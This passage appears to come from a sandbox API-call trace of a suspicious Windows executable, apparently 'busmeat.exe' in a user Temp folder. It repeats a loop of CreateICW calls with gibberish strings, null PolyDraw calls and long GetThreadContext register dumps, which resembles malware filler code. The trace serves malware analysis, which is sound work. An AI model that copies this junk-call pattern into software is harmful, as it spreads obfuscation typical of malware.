[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.167] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.168] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.168] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.168] GetConsoleCP () returned 0x0
	[0066.168] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.168] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.169] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.169] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.169] GetConsoleCP () returned 0x0
	[0066.169] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.169] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.170] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.170] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.170] GetConsoleCP () returned 0x0
	[0066.170] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 